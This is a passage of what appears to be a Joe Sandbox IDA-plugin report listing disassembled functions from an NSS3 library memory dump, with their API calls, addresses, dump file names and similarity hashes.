PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C7AAB3E,?,?), ref: 6C7AAC70

Part of subcall function 6C78E300: TlsGetValue.KERNEL32 ref: 6C78E33C
Part of subcall function 6C78E300: EnterCriticalSection.KERNEL32(?), ref: 6C78E350
Part of subcall function 6C78E300: PR_Unlock.NSS3(?), ref: 6C78E5BC
Part of subcall function 6C78E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C78E5CA
Part of subcall function 6C78E300: TlsGetValue.KERNEL32 ref: 6C78E5F2
Part of subcall function 6C78E300: EnterCriticalSection.KERNEL32(?), ref: 6C78E606
Part of subcall function 6C78E300: PORT_Alloc_Util.NSS3(?), ref: 6C78E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C7AAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C7AAB3E), ref: 6C7AACD7
PORT_Alloc_Util.NSS3(?), ref: 6C7AAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C7AAD2B

Part of subcall function 6C78F360: TlsGetValue.KERNEL32(00000000,?,6C7AA904,?), ref: 6C78F38B
Part of subcall function 6C78F360: EnterCriticalSection.KERNEL32(?,?,?,6C7AA904,?), ref: 6C78F3A0
Part of subcall function 6C78F360: PR_Unlock.NSS3(?,?,?,?,6C7AA904,?), ref: 6C78F3D3

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 9b06bd4800cd7ed4976c6352383a3be05df911ec7c472e6356c2ace106afa60e
Instruction ID: 14d21238f4c025dc841bfaffd5595465cee5a73d6776c39beecf960541ced357
Opcode Fuzzy Hash: 9b06bd4800cd7ed4976c6352383a3be05df911ec7c472e6356c2ace106afa60e
Instruction Fuzzy Hash: B6312BB1E016056FEB00CFA9DD459AF7766EF84728B188238E91557741EB31DC068BA1

Function 6C788C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C788C7C

Part of subcall function 6C829DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DC6
Part of subcall function 6C829DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C870A27), ref: 6C829DD1
Part of subcall function 6C829DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C829DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C788CB0
TlsGetValue.KERNEL32 ref: 6C788CD1
EnterCriticalSection.KERNEL32(?), ref: 6C788CE5
PR_Unlock.NSS3(?), ref: 6C788D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C788D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C788D93

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 14ea91321838f92c741a941afe59fd5e88f64541ec3d916e3e582852a58d28ae
Instruction ID: 7fccd26a79bb451933e3a34289d273a468c4e3ccf5df7bdba8ae3aee29c56c52
Opcode Fuzzy Hash: 14ea91321838f92c741a941afe59fd5e88f64541ec3d916e3e582852a58d28ae
Instruction Fuzzy Hash: 39318A71A02201AFE710AF68DE457AA77B0BF58318F10013AEB15A7B50D730A964C7E1

Function 6C7A8500 Relevance: 10.6, APIs: 7, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C7A95DC,00000000,00000000,00000000,?,6C7A95DC,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A8517

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

PORT_NewArena_Util.NSS3(00000800,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A8585
PORT_ArenaAlloc_Util.NSS3(00000000,00000034,?,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A859A
SEC_ASN1DecodeItem_Util.NSS3(00000000,00000000,6C88D8C4,6C7A95D0,?,?,?,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A85CC
SECOID_GetAlgorithmTag_Util.NSS3(-0000001C,?,?,?,?,?,?,?,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A85E1
PORT_FreeArena_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,00000000,00000000,?,6C787F4A,00000000,?), ref: 6C7A85F4

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$AlgorithmArena_Tag_$Alloc_ArenaDecodeFindFreeItem_
String ID:
API String ID: 738345241-0
Opcode ID: 9e32b4f6d4301d319bc3c08051da4c5aa1fe548c0415ba80440d11429b94102c
Instruction ID: b5aeb922a42cff5ba4bb445623cb3adf79d042bd14347c06fbc293cf4fad9263
Opcode Fuzzy Hash: 9e32b4f6d4301d319bc3c08051da4c5aa1fe548c0415ba80440d11429b94102c
Instruction Fuzzy Hash: 3F3149A2E4118057F3185998CF94B6A3218EB1139CF550773F815D7EF3EB20D98786A2

Function 6C774590 Relevance: 10.6, APIs: 7, Instructions: 100memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C7745B5

Part of subcall function 6C7C0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7687ED,00000800,6C75EF74,00000000), ref: 6C7C1000
Part of subcall function 6C7C0FF0: PR_NewLock.NSS3(?,00000800,6C75EF74,00000000), ref: 6C7C1016
Part of subcall function 6C7C0FF0: PL_InitArenaPool.NSS3(00000000,security,6C7687ED,00000008,?,00000800,6C75EF74,00000000), ref: 6C7C102B

PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C7745C9

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7745E6
SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C7745F8

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C774647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C88A0F4,?), ref: 6C77468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7746A1

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 4c62fc0af085d3ed4b81add478dc50e53b6ee006ac82117bbad31ab2a1fa9d72
Instruction ID: 8c808e0702434115886677ec3ecddaec7115119ca0cf0c0a438273a0a106ed64
Opcode Fuzzy Hash: 4c62fc0af085d3ed4b81add478dc50e53b6ee006ac82117bbad31ab2a1fa9d72
Instruction Fuzzy Hash: E631D6B1B013199BFF305E58DE55BAB36A8AB45308F004438E905EFBC1E775D8088BB6

Function 6C782E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C77E728,?,00000038,?,?,00000000), ref: 6C782E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C782E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C782E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C782E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C782E9E
PR_Unlock.NSS3(?), ref: 6C782EAB
PR_Unlock.NSS3(?), ref: 6C782F0D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 6b8909ea593199d4f9fc3646191ae698753b7186f38aa6828373879fa1ba9511
Instruction ID: 0b4a881d1b6b0b31a6e40e3f2ebb0a6006eefd59e22703fa18defe34f1f57700
Opcode Fuzzy Hash: 6b8909ea593199d4f9fc3646191ae698753b7186f38aa6828373879fa1ba9511
Instruction Fuzzy Hash: 2531E2B5A01105ABEB119F28DD8887ABB78EF1525DB048574ED1887A12FB31ED64C7E0

Function 6C7B4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6C777296,00000000), ref: 6C7B4487
EnterCriticalSection.KERNEL32(?,?,?,6C777296,00000000), ref: 6C7B44A0
PR_Unlock.NSS3(?,?,?,?,6C777296,00000000), ref: 6C7B44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6C777296,00000000), ref: 6C7B44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6C777296,00000000), ref: 6C7B4530
free.MOZGLUE(?,?,?,?,?,6C777296,00000000), ref: 6C7B453C
PORT_FreeArena_Util.NSS3 ref: 6C7B454F

Part of subcall function 6C79CAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6C77B1EE,D958E836,?,6C7B51C5), ref: 6C79CAFA
Part of subcall function 6C79CAA0: PR_UnloadLibrary.NSS3(?,6C7B51C5), ref: 6C79CB09

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: c75f5808271264b2a268050deb09d1cf9f2284fbac095d7f508b9f0bf49bcd18
Instruction ID: 6101ab5d9eaefd94067fad93fdbfdd86e48257cab435979a4e7e9e262f6af881
Opcode Fuzzy Hash: c75f5808271264b2a268050deb09d1cf9f2284fbac095d7f508b9f0bf49bcd18
Instruction Fuzzy Hash: 24315EB4A04A019FDB10AF39C288669B7F0FF04318F014639D899A7B01E730E8A8DBC1

Function 6C7CCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C7CCD93,?), ref: 6C7CCEEE

Part of subcall function 6C7C14C0: TlsGetValue.KERNEL32 ref: 6C7C14E0
Part of subcall function 6C7C14C0: EnterCriticalSection.KERNEL32 ref: 6C7C14F5
Part of subcall function 6C7C14C0: PR_Unlock.NSS3 ref: 6C7C150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C7CCD93,?), ref: 6C7CCEFC

Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C10F3
Part of subcall function 6C7C10C0: EnterCriticalSection.KERNEL32(?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C110C
Part of subcall function 6C7C10C0: PL_ArenaAllocate.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1141
Part of subcall function 6C7C10C0: PR_Unlock.NSS3(?,?,?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C1182
Part of subcall function 6C7C10C0: TlsGetValue.KERNEL32(?,6C768802,00000000,00000008,?,6C75EF74,00000000), ref: 6C7C119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C7CCD93,?), ref: 6C7CCF0B

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C7CCD93,?), ref: 6C7CCF1D

Part of subcall function 6C7BFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C7B8D2D,?,00000000,?), ref: 6C7BFB85
Part of subcall function 6C7BFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C7BFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6C7CCD93,?,?,?,?,?,?,?,?,?,?,?,6C7CCD93,?), ref: 6C7CCF78

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 626ae58bd187109ca9538e66e55b7db62b4ce89e852e1a3e30747bd4e9eac657
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 0D1175A6B002065FEB10AB6A7E59B6BB5EC9F5474EF044039EC09D7741FB60D908C6B3

Function 6C778C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C778C1B
EnterCriticalSection.KERNEL32 ref: 6C778C34
PL_ArenaAllocate.NSS3 ref: 6C778C65
PR_Unlock.NSS3 ref: 6C778C9C
PR_Unlock.NSS3 ref: 6C778CB6

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

Strings

KRAM, xrefs: 6C778C8F

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 5c0363795edd9bba36e97267541b9a1a6a386dfc0f5da7f1637e6e07f6947635
Instruction ID: bd83df5e56040f787f7eb717b39eb525569157a8219f2a84d83d3b5ee3847861
Opcode Fuzzy Hash: 5c0363795edd9bba36e97267541b9a1a6a386dfc0f5da7f1637e6e07f6947635
Instruction Fuzzy Hash: F42171B16056058FDB10AF78C588569BBF4FF05318F0589BAD888DB711EB35D885CBE2

Function 6C788E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C7A2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C), ref: 6C788EA2

Part of subcall function 6C7AF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C7AF854
Part of subcall function 6C7AF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C7AF868
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C7AF882
Part of subcall function 6C7AF820: free.MOZGLUE(04C483FF,?,?), ref: 6C7AF889
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C7AF8A4
Part of subcall function 6C7AF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C7AF8AB
Part of subcall function 6C7AF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C7AF8C9
Part of subcall function 6C7AF820: free.MOZGLUE(280F10EC,?,?), ref: 6C7AF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C7A2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C), ref: 6C788EC3
TlsGetValue.KERNEL32(?,?,?,6C7A2E62,?,?,?,?,?,?,?,00000000,?,?,?,6C774F1C), ref: 6C788EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C7A2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C788EF1
PR_Unlock.NSS3 ref: 6C788F20

Strings

b.zl, xrefs: 6C788E96, 6C788F25

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.zl
API String ID: 1978757487-325859185
Opcode ID: 4de32921943979df349f8a5446358a649b55db237fdf435b58a767a9c9cec703
Instruction ID: a6da5917448bced28ed9fc43751c84ebd1790be5acd823185e5129c149bd99f5
Opcode Fuzzy Hash: 4de32921943979df349f8a5446358a649b55db237fdf435b58a767a9c9cec703
Instruction Fuzzy Hash: 0821807090A6059FC700AF29D688599BBF4FF48318F05457EED989BB41E730E854CBD2

Function 6C80A540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6C80A390: PR_SetError.NSS3(FFFFE005,00000000), ref: 6C80A415

PK11_ExtractKeyValue.NSS3(00000000), ref: 6C80A5AC
memcpy.VCRUNTIME140(?,?,?), ref: 6C80A5BF
PK11_FreeSymKey.NSS3(00000000), ref: 6C80A5C8

Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE10
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE24
Part of subcall function 6C7AADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C78D079,00000000,00000001), ref: 6C7AAE5A
Part of subcall function 6C7AADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE6F
Part of subcall function 6C7AADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAE7F
Part of subcall function 6C7AADC0: TlsGetValue.KERNEL32(?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEB1
Part of subcall function 6C7AADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C78CDBB,?,6C78D079,00000000,00000001), ref: 6C7AAEC9

PK11_FreeSymKey.NSS3(00000000), ref: 6C80A5D9
PR_SetError.NSS3(FFFFD04C,00000000), ref: 6C80A5E8

Strings

*@, xrefs: 6C80A589

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_Value$CriticalEnterErrorFreeSection$ExtractUnlockfreememcpymemset
String ID: *@
API String ID: 2660593509-1483644743
Opcode ID: 5b7a2db861218f929eaf071ed92e9eb40cff3daca8a101efa311af96783e143f
Instruction ID: 49bc06eba1b10a11b7b36a3a7116acbe1b0dd274dfafd97d7a229e45594cb559
Opcode Fuzzy Hash: 5b7a2db861218f929eaf071ed92e9eb40cff3daca8a101efa311af96783e143f
Instruction Fuzzy Hash: 8C2105B1D002089BC7109F699E056DFBBB4BF8932CF014629EC4823740F734A6498BD2

Function 6C872C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C872CA0
PR_ExitMonitor.NSS3 ref: 6C872CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C872CD1
strdup.MOZGLUE(?), ref: 6C872CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C872D27

Strings

Loaded library %s (static lib), xrefs: 6C872D22

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 57b28678a034d6295a8b39454e88d1438b467129ed14f79c50076eb848c7436b
Instruction ID: cfa16ab212c387801be49df79da980dff4b75f69914afad9c9bbb4cf8196769a
Opcode Fuzzy Hash: 57b28678a034d6295a8b39454e88d1438b467129ed14f79c50076eb848c7436b
